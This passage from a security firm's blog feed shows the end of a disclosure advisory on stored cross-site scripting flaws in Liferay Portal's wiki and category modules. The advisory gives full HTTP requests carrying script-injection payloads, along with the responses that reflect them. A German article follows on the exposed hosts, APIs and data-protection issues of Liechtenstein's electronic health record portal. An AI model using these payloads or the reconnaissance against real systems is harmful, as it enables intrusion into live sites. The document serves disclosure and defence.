Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_contentEditor"


-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_content"

&amp;lt;script&amp;gt;alert("child node")&amp;lt;/script&amp;gt;


-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_assetLinksSearchContainerPrimaryKeys"


-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_assetLinkEntryIds"


-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_summary"


-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_format"

creole
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_inputPermissionsShowOptions"

false
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_inputPermissionsViewRole"

Guest
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_guestPermissions"

VIEW
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_guestPermissions"

ADD_DISCUSSION
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_groupPermissions"

UPDATE
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_groupPermissions"

SUBSCRIBE
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_groupPermissions"

VIEW
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_groupPermissions"

ADD_DISCUSSION
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="p_auth"

GgaH6PDc
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_saveButton"


-----------------------------9342881932314680790817840128--&lt;/pre&gt;
&lt;p&gt;Later, the browser sends a GET request to retrieve the parent page, for example to the follwoing resource:&lt;/p&gt;
&lt;pre class="literal-block"&gt;GET /wiki/-/wiki/Main/FrontPage?p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_nodeName=Main&amp;amp;p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_nodeName=Main&amp;amp;p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_nodeName=Main&amp;amp;p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_title=FrontPage&amp;amp;p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_title=FrontPage&amp;amp;p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_title=FrontPage HTTP/1.1
[...]&lt;/pre&gt;
&lt;p&gt;The corresponding HTTP response contains the injected JavaScript code:&lt;/p&gt;
&lt;pre class="literal-block"&gt;HTTP/1.1 200
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: private, no-cache, no-store, must-revalidate
Pragma: no-cache
Liferay-Portal: Liferay Community Edition Portal
Content-Type: text/html;charset=UTF-8
Date: Mon, 16 Oct 2023 11:18:28 GMT
Connection: close
Content-Length: 178424

[...]]
&amp;lt;h4 class="text-default"&amp;gt;Child Pages (1)&amp;lt;/h4&amp;gt;
 &amp;lt;div&amp;gt;
  &amp;lt;ul class="list-group"&amp;gt;
   &amp;lt;li class="list-group-item"&amp;gt;&amp;lt;h3&amp;gt;&amp;lt;a href="http://localhost:9090/wiki/-/wiki/Main/child+page?p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_nodeName=Main&amp;amp;amp;p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_title=child+page"&amp;gt;child page&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt; &amp;lt;p class="text-default"&amp;gt;&amp;lt;script&amp;gt;alert("child node")&amp;lt;/script&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;
  &amp;lt;/ul&amp;gt;
 &amp;lt;/div&amp;gt;&lt;/pre&gt;
&lt;a class="reference external image-reference" href="https://www.pentagrid.ch/images/202310_liferay_wiki_payload.png"&gt;
&lt;img alt="XSS payloads in wiki child pages." class="align-center" src="https://www.pentagrid.ch/images/202310_liferay_wiki_payload.thumbnail.png"&gt;
&lt;/a&gt;
&lt;/section&gt;
&lt;section id="persistent-cross-site-scripting-vulnerability-via-category-vocabulary-cve-2023-42629"&gt;
&lt;h3&gt;4. Persistent cross-site scripting vulnerability via category vocabulary (CVE-2023-42629)&lt;/h3&gt;
&lt;pre class="literal-block"&gt;CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N, 6.1 Medium&lt;/pre&gt;
&lt;p&gt;When adding new vocabulary to the categories, an attacker can inject a malicious payload into the description field. This payload gets executed in the browser of the victim when they visit the category page. If the malicious entry is not the first in the list, the payload gets executed once the victim selects the malicious entry.&lt;/p&gt;
&lt;p&gt;HTTP request:&lt;/p&gt;
&lt;pre class="literal-block"&gt;POST /group/speedwell/~/control_panel/manage/-/categories_admin/vocabularies/new?p_p_lifecycle=1&amp;amp;_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_javax.portlet.action=%2Fasset_categories_admin%2Fedit_asset_vocabulary HTTP/1.1
Host: localhost:9090
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost:9090/group/speedwell/~/control_panel/manage/-/categories_admin/vocabularies/client
x-csrf-token: GgaH6PDc
x-pjax: true
x-requested-with: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------23385551494836211141651886319
Content-Length: 3949
Origin: http://localhost:9090
Connection: close
Cookie: JSESSIONID=C2B84470E3B173A060A9DFECBEA0D6DF; COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; LFR_SESSION_STATE_20099=1697454190791; COMPANY_ID=20096; ID=7857446563676c3536646b5467436b34616942714c413d3d; LFR_SESSION_STATE_20123=1697454288116
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_formDate"

1697454287833
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_redirect"

http://localhost:9090/group/speedwell/~/control_panel/manage/-/categories_admin/vocabularies
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_vocabularyId"

0
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_title"

MyCategory
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_title_en_US"

MyCategory
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_description"

&amp;lt;script&amp;gt;alert("description")&amp;lt;/script&amp;gt;
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_description_en_US"

&amp;lt;script&amp;gt;alert("description")&amp;lt;/script&amp;gt;
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_multiValued"

on
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_visibilityType"

0
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_classNameId0"

0
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_subtype29955-classNameId0"

-1
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_subtype20010-classNameId0"

-1
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_indexes"

0
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_inputPermissionsShowOptions"

false
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_inputPermissionsViewRole"

Guest
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_guestPermissions"

VIEW
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_groupPermissions"

VIEW
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_checkboxNames"

multiValued,required0
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="p_auth"

GgaH6PDc
-----------------------------23385551494836211141651886319--&lt;/pre&gt;
&lt;p&gt;Later, when a user requests a vocabulary entry, for example via a HTTP GET request to &lt;cite&gt;/group/speedwell/~/control_panel/manage/-/categories_admin/vocabulary/35897&lt;/cite&gt;, the HTTP response is:&lt;/p&gt;
&lt;pre class="literal-block"&gt;HTTP/1.1 200
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: private, no-cache, no-store, must-revalidate
Pragma: no-cache
Liferay-Portal: Liferay Community Edition Portal
Content-Type: text/html;charset=UTF-8
Date: Mon, 16 Oct 2023 11:05:58 GMT
Connection: close
Content-Length: 128719

[...]
&amp;lt;div class="sheet sheet-full"&amp;gt;
    &amp;lt;h2 class="sheet-title"&amp;gt;
        &amp;lt;div class="autofit-row autofit-row-center"&amp;gt;
            &amp;lt;div class="autofit-col"&amp;gt;
                MyCategory
            &amp;lt;/div&amp;gt;
[...]
            &amp;lt;div class="mb-2"&amp;gt;
                &amp;lt;span class="mr-1"&amp;gt;Description:&amp;lt;/span&amp;gt;
                &amp;lt;span class="text-break text-secondary"&amp;gt;&amp;lt;script&amp;gt;alert("description")&amp;lt;/script&amp;gt;&amp;lt;/span&amp;gt;
            &amp;lt;/div&amp;gt;

    &amp;lt;/div&amp;gt;
[...]&lt;/pre&gt;
&lt;a class="reference external image-reference" href="https://www.pentagrid.ch/images/202310_liferay_categories.png"&gt;
&lt;img alt="XSS payloads in the description field of a vocabulary entry." class="align-center" src="https://www.pentagrid.ch/images/202310_liferay_categories.thumbnail.png"&gt;
&lt;/a&gt;
&lt;/section&gt;
&lt;/section&gt;
&lt;section id="precondition"&gt;
&lt;h2&gt;Precondition&lt;/h2&gt;
&lt;p&gt;The affected modules must be enabled and used. Furthermore, an attacker must have the permission to enter the corresponding data. So it depends how the permissions are defined in a specific Liferay Portal instance.&lt;/p&gt;
&lt;p&gt;It may be possible that guests are allowed to submit wiki pages or order products without a user account. Though adding new vocabulary to categories or regions to countries may be reserved for users with higher privileges.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="recommendation"&gt;
&lt;h2&gt;Recommendation&lt;/h2&gt;
&lt;p&gt;Pentagrid recommends to update the Liferay Portal version. According to Liferay:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;CVE-2023-42627 is fixed in Liferay Portal 7.4.3.92.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;CVE-2023-42628 is fixed in Liferay Portal 7.4.3.88.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;CVE-2023-42629 is fixed in Liferay Portal 7.4.3.88.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="credits"&gt;
&lt;h2&gt;Credits&lt;/h2&gt;
&lt;p&gt;These vulnerabilities have been found by Michael Oelke (Pentagrid).
We would like to thank Samuel Kong (Liferay) for the professional handling of the security issues.&lt;/p&gt;
&lt;/section&gt;</description><category>Advisory</category><category>Liferay</category><category>XSS</category><guid>https://www.pentagrid.ch/en/blog/stored-cross-site-scripting-vulnerabilities-in-liferay-portal/</guid><pubDate>Tue, 17 Oct 2023 06:00:00 GMT</pubDate></item><item><title>IT-Sicherheit beim elektronischen Gesundheitsdossier im Fürstentum Liechtenstein</title><link>https://www.pentagrid.ch/en/blog/it-sicherheit-beim-elektronischen-gesundheitsdossier-im-fuerstentum-liechtenstein/</link><dc:creator>Pentagrid AG</dc:creator><description>&lt;figure&gt;&lt;img src="https://www.pentagrid.ch/images/default_preview_image.jpeg"&gt;&lt;/figure&gt; &lt;p&gt;Am 1. Januar 2022 trat im Fürstentum Liechtenstein das &lt;a class="reference external" href="https://www.gesetze.li/konso/2021213000"&gt;Gesetz zum elektronischen Gesundheitsdossier (EGDG)&lt;/a&gt; in Kraft. Das elektronische Gesundheitsdossier (eGD) wird für alle 39'000 Bürger eingeführt, welche nicht &lt;a class="reference external" href="https://www.llv.li/de/privatpersonen/gesundheit-vorsorge-und-pflege/elektronisches-gesundheitsdossier/widerspruch"&gt;Widerspruch einlegen und diesem Widerspruch eine Passkopie beilegen&lt;/a&gt;. Wir haben uns das genauer angeschaut.&lt;/p&gt;
&lt;p&gt;Eine journalistische Aufbereitung unserer Befunde gibt es beim &lt;a class="reference external" href="https://www.vaterland.li/liechtenstein/politik/hacker-orten-schwachstellen-bei-software-anbieter-art-543372"&gt;Liechtensteiner Vaterland (Paywall)&lt;/a&gt;.&lt;/p&gt;
&lt;!-- TEASER_END --&gt;
&lt;p&gt;Gesundheitsdienstleister sind seit Juli 2023 verpflichtet, die Daten in das eGD einzutragen, ausser der Patient widerspricht dem wiederum explizit. Zu den Gesundheitsdienstleistern gehören das Liechtensteinische Landesspital, die Liechtensteinische Alters- und Krankenhilfe, andere Einrichtungen des Gesundheitswesens im Sinne des Gesundheitsgesetzes (mit Ausnahmen), Ärzte, Apotheker, Chiropraktoren und Zahnärzte. Erlaubt ist beispielsweise explizit auch die Eintragung von genetischen Daten. Jeder Bürger kann grundsätzlich die Löschung der Daten veranlassen. In einem ersten Schritt ist dem eGD jedoch ein Datenreichtum an einem zentralisierten Ort sicher, im Gegensatz zur Schweiz, wo explizit der Patient ein solches elektronisches Dossier anlegen muss. Für den Zugang zum eGD-Portal ist allerdings ebenfalls eine Digitale Identität (eID) erforderlich, sonst kann ein Bürger das elektronische Gesundheitsdossier nicht nutzen bzw. kann lediglich &lt;a class="reference external" href="https://formulare.llv.li/formserver_AG/start.do?wfjs_enabled=true&amp;amp;vid=c7ddc2967bb04b42&amp;amp;wfjs_orig_req=%2Fstart.do%3Fgeneralid%3DAG_EGD&amp;amp;txid=ec2977eafca3a2770bb7dde9ed8f075b81adc017#"&gt;online Formulare (via Upload einer Passkopie)&lt;/a&gt; verwenden.&lt;/p&gt;
&lt;p&gt;Dieser Artikel stellt eine unabhängige Drittsicht auf das Gesundheitsdossier dar.&lt;/p&gt;
&lt;p&gt;Im Folgenden werden zuerst die technischen Gegebenheiten des Gesundheitsdossier näher erläutert. Anschliessend folgt eine Einschätzung und weitere Betrachtung aus Sicht der Pentagrid AG und unserer langjährigen Erfahrung im Testen der technischen IT-Sicherheit von Systemen.&lt;/p&gt;
&lt;section id="technische-fakten-zum-elektronischen-gesundheitsdossier"&gt;
&lt;h2&gt;Technische Fakten zum elektronischen Gesundheitsdossier&lt;/h2&gt;
&lt;p&gt;Die Liechtensteinische Landesverwaltung veröffentlichte auf ihrer Webseite einen &lt;a class="reference external" href="https://www.llv.li/de/gesundheitsdossier"&gt;Bereich zum elektronischen Gesundheitsdossier in Liechtenstein&lt;/a&gt;. Dabei sind für den &lt;a class="reference external" href="https://www.llv.li/de/privatpersonen/gesundheit-vorsorge-und-pflege/elektronisches-gesundheitsdossier/datenschutzhinweis"&gt;Datenschutz relevante Informationen auf einer eigenen Seite aufgelistet&lt;/a&gt;. Hier lässt sich nachlesen, dass die Siemens Healthcare AG (Siemens) mit Sitz in Zürich als externer Systemlieferant Auftragsverarbeiter für das Amt für Gesundheit ist. Ausserdem hat Siemens die MTF Solutions AG (MTF) mit Sitz in Worblaufen für die IT-Infrastruktur und das Hosting der eHealth-Plattform unterbeauftragt. Ferner ist nachzulesen: "Die Firma Siemens kann zu Supportzwecken auf die Daten über ihr Servicezentrum in Fürth, Deutschland, zugreifen. In Deutschland werden aber keine Daten gespeichert."&lt;/p&gt;
&lt;p&gt;Die Webseite für Privatpersonen ist, wie vom Amt für Gesundheit publiziert, unter der URL &lt;a class="reference external" href="https://prod.gesundheitsdossier.li/"&gt;https://prod.gesundheitsdossier.li/&lt;/a&gt; erreichbar.&lt;/p&gt;
&lt;p&gt;Ermittelt man die IP-Adressen, welche zu dieser Webseite gehören (über sogenannte &lt;a class="reference external" href="https://mxtoolbox.com/SuperTool.aspx?action=a%3aprod.gesundheitsdossier.li&amp;amp;run=toolpage"&gt;DNS-Auflösung&lt;/a&gt;), erhält man folgende drei Einträge:&lt;/p&gt;
&lt;pre class="literal-block"&gt;104.22.46.254
104.22.47.254
172.67.7.104&lt;/pre&gt;
&lt;p&gt;Die Frage ist, wem diese drei IP-Adressen gehören. Sucht man im &lt;a class="reference external" href="https://www.whois.com/whois/104.22.46.254"&gt;öffentlich einsehbaren WHOIS-Dienst im Internet&lt;/a&gt;, findet man folgenden Besitzer:&lt;/p&gt;
&lt;pre class="literal-block"&gt;OrgName:        Cloudflare, Inc.
OrgId:          CLOUD14
Address:        101 Townsend Street
City:           San Francisco
StateProv:      CA
PostalCode:     94107
Country:        US&lt;/pre&gt;
&lt;p&gt;Dieses Unternehmen wird in der &lt;a class="reference external" href="https://www.llv.li/de/privatpersonen/gesundheit-vorsorge-und-pflege/elektronisches-gesundheitsdossier/datenschutzhinweis"&gt;Datenschutzerklärung&lt;/a&gt; zum Zeitpunkt der Artikelveröffentlichung nicht erwähnt.&lt;/p&gt;
&lt;p&gt;Wer in der IT tätig ist, kennt Cloudflare. Obwohl auch weitere Dienste von Cloudflare bezogen werden können, hat sich Cloudflare insbesondere einen Namen gemacht bei der Abwehr von sogenannten Distributed-Denial-of-Service-Angriffen (DDoS). Cloudflare soll also dabei helfen, dass Angreifer die elektronische Gesundheitsdossier-Webseite nicht für einen Zeitraum unbenutzbar machen können. DDoS ist ein reales Problem, wie gerade erst kürzlich der Angriff auf &lt;a class="reference external" href="https://www.nzz.ch/technologie/russische-angriffe-auf-schweizer-webseiten-von-basel-stadt-bis-sbb-propaganda-ld.1742535?reduced=true"&gt;verschiedene staatliche Organisationen in der Schweiz zeigte&lt;/a&gt;. Trotzdem heisst das im Klartext: Jede Kommunikation zur Gesundheitsdossier-Webseite wird erst einmal zu IP-Adressen der amerikanischen Firma CloudFlare gesendet.&lt;/p&gt;
&lt;p&gt;Das &lt;a class="reference external" href="https://formulare.llv.li/formserver_AG/start.do?wfjs_enabled=true&amp;amp;vid=0c30b82b7eceafc7&amp;amp;wfjs_orig_req=%2Fstart.do%3Fgeneralid%3DAG_ZUP&amp;amp;txid=507ce5bd56ad87346eecebfaf01f6e0f85043cd8#"&gt;Antragsformular für den Zugriff für Gesundheitsdienstleister&lt;/a&gt; ist grundsätzlich nicht auf &lt;code class="docutils literal"&gt;gesundheitsdossier.li&lt;/code&gt; erreichbar, sondern wird auf der Webseite der Landesverwaltung zur Verfügung gestellt.&lt;/p&gt;
&lt;p&gt;Sucht man etwas weiter auf der Domäne &lt;code class="docutils literal"&gt;gesundheitsdossier.li&lt;/code&gt;, finden sich weitere Webseiten, welche wohl sogenannten &lt;a class="reference external" href="https://test.gesundheitsdossier.li"&gt;Test-&lt;/a&gt; und &lt;a class="reference external" href="https://accept.gesundheitsdossier.li"&gt;Abnahme-Umgebungen&lt;/a&gt; entsprechen. Diese nutzt die Landesverwaltung/Siemens wahrscheinlich intern, um Updates zu testen, bevor diese in der Produktivumgebung eingespielt werden. Das ist durchaus üblich in der IT. Manche Unternehmen finden es wichtig, dass diese Systeme lediglich aus dem internen Unternehmensnetzwerk erreichbar sind, schliesslich sind diese Systeme reine Testsysteme und müssen dem Bürger nicht zur Verfügung gestellt werden. Viele Unternehmen stellen diese heute aber auch öffentlich ins Internet, wie in diesem Fall hier. Diese Webseiten lösen ebenfalls zu den gleichen IP-Adressen von CloudFlare auf.&lt;/p&gt;
&lt;p&gt;Es finden sich noch weitere Webseiten unter &lt;code class="docutils literal"&gt;gesundheitsdossier.li&lt;/code&gt;, welche mutmasslich &lt;em&gt;Application Programming Interfaces&lt;/em&gt; (APIs) zur Verfügung stellen, also Möglichkeiten wie automatisiert Daten abgefragt werden können, beispielsweise durch eine mobile Applikation. Auch gibt es diese wiederum in den Varianten &lt;a class="reference external" href="https://test-api.gesundheitsdossier.li"&gt;Test-API&lt;/a&gt;, &lt;a class="reference external" href="https://accept-api.gesundheitsdossier.li"&gt;Abnahme-API&lt;/a&gt; und &lt;a class="reference external" href="https://prod-api.gesundheitsdossier.li"&gt;Produktions-API&lt;/a&gt;. Diese Webseiten lösen allerdings zu der IP-Adresse 217.148.8.81 auf, welche der in den Datenschutzhinweisen erwähnten MTF Solutions AG gehört.&lt;/p&gt;
&lt;p&gt;Und dann gibt es noch eine letzte Webseite unter &lt;code class="docutils literal"&gt;gesundheitsdossier.li&lt;/code&gt; mit dem Namen &lt;a class="reference external" href="https://monitoring.gesundheitsdossier.li/nagios/"&gt;Monitoring&lt;/a&gt;. Diese Webseite hat wohl die Software &lt;a class="reference external" href="https://www.nagios.org/"&gt;Nagios&lt;/a&gt; installiert. Nagios wird von IT-Abteilungen genutzt, um IT-Systeme hinsichtlich Verfügbarkeit und Serviceparametern zu überwachen.&lt;/p&gt;
&lt;p&gt;Wenden wir unsere Aufmerksamkeit jetzt aber nochmals der &lt;a class="reference external" href="https://prod.gesundheitsdossier.li/"&gt;Haupt-Webseite zu, auf welcher sich Liechtensteiner Bürger einloggen werden&lt;/a&gt;. Beim Blick auf die gesendeten Daten auf dem Netzwerk fällt sofort auf, dass diese Webseite die sogenannte &lt;a class="reference external" href="https://github.com/liferay/liferay-portal"&gt;"Liferay Portal"-Software&lt;/a&gt; in der Open-Source-Variante verwendet (Community Edition). Diese Software wird als &lt;em&gt;Open Source&lt;/em&gt; (also jeder kann dazu beitragen) von der Liferay Inc. in den USA entwickelt. Grundsätzlich bedeutet das, dass der Programmcode, welchen Siemens für das Amt für Gesundheit betreibt, &lt;a class="reference external" href="https://github.com/liferay/liferay-portal"&gt;frei für jeden zum Download verfügbar steht&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Interessant ist auch, dass über die &lt;a class="reference external" href="https://prod.gesundheitsdossier.li/image/company_logo"&gt;Webseite des Gesundheitsdossiers auch das Logo von Siemens&lt;/a&gt; angezeigt werden kann. Das Logo ist aber nicht das Logo der Siemens Healthcare AG in Zürich, welche in den &lt;a class="reference external" href="https://www.llv.li/de/privatpersonen/gesundheit-vorsorge-und-pflege/elektronisches-gesundheitsdossier/datenschutzhinweis"&gt;Datenschutzhinweisen&lt;/a&gt; genannt. Es handelt sich stattdessen um das &lt;a class="reference external" href="https://www.ith-icoserve.com/en/"&gt;Logo der ITH icoserve technology for healthcare GmbH in Innsbruck&lt;/a&gt;, welche wiederum eine Tochtergsellschaft der Siemens Healthcare GmbH in Erlangen (Deutschland) ist.&lt;/p&gt;
&lt;p&gt;Auf der Gesundheitsdossier-Webseite sind ausserdem verschiedene Funktionen und Web-Schnittstellen erreichbar. Es handelt sich dabei um Komponenten, welche standardmässig mit Liferay mitgeliefert werden. Dazu gehören:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Liferay stellt standardmässig &lt;a class="reference external" href="https://prod.gesundheitsdossier.li/o/graphql"&gt;GraphQL zur Verfügung&lt;/a&gt; und dabei ist GraphQL-Introspektion auf dem Gesundheitsdossier aktiviert. Dadurch erhält man technische Informationen über Abfragemöglichkeiten.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;!-- Fuer mich sieht es aktuell (2023-08-14) so aus als sei Introspektion deaktiviert. Evtl haben die was geaendert oder meine Abfrage war Garbo --&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Liferay stellt standardmässig &lt;a class="reference external" href="https://prod.gesundheitsdossier.li/api/jsonws/invoke"&gt;JSON-WS zur Verfügung&lt;/a&gt;. Das ist eine weitere API, wenn Drittprogramme automatisiert mit dem Portal kommunizieren wollen.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Liferay erlaubt standardmässig Cross-Origin Resource Sharing (CORS) auf gewissen URLs (GraphQL, JSON-WS sowie auf URLs wie &lt;code class="docutils literal"&gt;/documents/&lt;/code&gt;) und erlaubt dabei beliebige Drittseiten. Das bedeutet zunächst, dass andere Webseiten im Internet Anfragen an die Gesundheitsdossier-Webseite stellen können. Das ist dann relevant, wenn ein Browser in einer angemeldeten Session Funktionen des Portals nutzen kann.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Liferay hat ganz generell eine grosse Palette an Anwendungsmöglichkeiten und Funktionen eingebaut.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Inwiefern alle diese Komponenten beim Gesundheitsdossier zum Einsatz kommen ist nicht bekannt. Mit mehr zur Verfügung stehenden Schnittstellen, vergrössert sich in der IT jeweils die Angriffsfläche.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="einschatzung-der-pentagrid-ag"&gt;
&lt;h2&gt;Einschätzung der Pentagrid AG&lt;/h2&gt;
&lt;p&gt;Die obenstehenden technischen Fakten werden nun weiter eingeordnet. Dabei gibt es verschiedene Themenbereiche, die in Unterkapiteln erläutert werden.&lt;/p&gt;
&lt;section id="kritik-am-datenschutz"&gt;
&lt;h3&gt;Kritik am Datenschutz&lt;/h3&gt;
&lt;p&gt;Personen, welche für den Datenschutz zuständig sind (Datenschutzbeauftragte), folgen oftmals der Logik, dass der Datenstandort für den Datenschutz tatsächlich wichtig ist. Und wie oben beschrieben gilt in diesem Fall der Datenstandort Schweiz. Es ist auch wahrscheinlich, dass sich viele Juristen dieser Sicht anschliessen und dies rechtlich korrekt ist (wir sind keine Juristen). Allerdings sollte jedem klar sein, dass viel wichtiger ist wer im Endeffekt denn auf die Daten zugreifen kann.&lt;/p&gt;
&lt;p&gt;Interessant ist hierbei, dass in den &lt;a class="reference external" href="https://www.llv.li/de/privatpersonen/gesundheit-vorsorge-und-pflege/elektronisches-gesundheitsdossier/datenschutzhinweis"&gt;Datenschutzhinweisen&lt;/a&gt; bereits explizit eine Ausnahme zugelassen ist, nämlich dass Siemens für Supportzwecke aus Fürth (Deutschland) zugreifen darf.&lt;/p&gt;
&lt;p&gt;In der Praxis ist der Datenstandort aber weniger relevant, denn für amerikanische Firmen gilt ohnehin der &lt;a class="reference external" href="https://de.wikipedia.org/wiki/CLOUD_Act"&gt;Cloud Act&lt;/a&gt; und wird mit einem Satz treffend auf Wikipedia erklärt: "Das Gesetz verpflichtet amerikanische Internet-Firmen und IT-Dienstleister, US-Behörden auch dann Zugriff auf gespeicherte Daten zu gewährleisten, wenn die Speicherung nicht in den USA erfolgt". Inwiefern die Verwendung der amerikanischen Unternehmen Cloudflare als Dienstleister oder Liferay als Software-Lieferant diesbezüglich eine Rolle spielt, sei dahingestellt...&lt;/p&gt;
&lt;p&gt;Als IT-Sicherheitsexperten, die tagtäglich den Abfluss von Daten sehen, fühlen wir uns der Datensparsamkeit verpflichtet. Täglich scheitern Unternehmen daran, wichtige Daten geheim zu halten. Beispiele gibt es genug, das kürzliche &lt;a class="reference external" href="https://www.srf.ch/news/schweiz/datenleck-bei-xplain-adressen-von-bundesraeten-im-darknet-veroeffentlicht"&gt;Datenleck bei xplain.ch mit Daten von verschiedenen Kantonspolizeien und der Bundespolizei&lt;/a&gt; (bei dem auch Daten zur Liechtensteiner Polizei enthalten waren) ist nur eines davon.&lt;/p&gt;
&lt;p&gt;Eine zentrale Speicherung von Gesundheitsdaten standardmässig für jeden Bürger einzuführen, scheint deshalb fragwürdig. Das Dossier wird auch für Bürger eingeführt, welche über keine eID verfügen und somit das Dossier nicht komplett nutzen können. Trotzdem werden Daten zentral gesammelt. Auch Hinweise in den &lt;a class="reference external" href="https://www.llv.li/de/privatpersonen/gesundheit-vorsorge-und-pflege/elektronisches-gesundheitsdossier/fragen-und-antworten"&gt;Fragen und Antworten zum Gesundheitsdossier&lt;/a&gt;, dass der Nutzen von eHealth die "Gewährleistung Anbindung mit Nachbarländern und darüber hinaus" sein soll, klingen eher nach Überwachungsstaat als Dienst für den Bürger.&lt;/p&gt;
&lt;/section&gt;
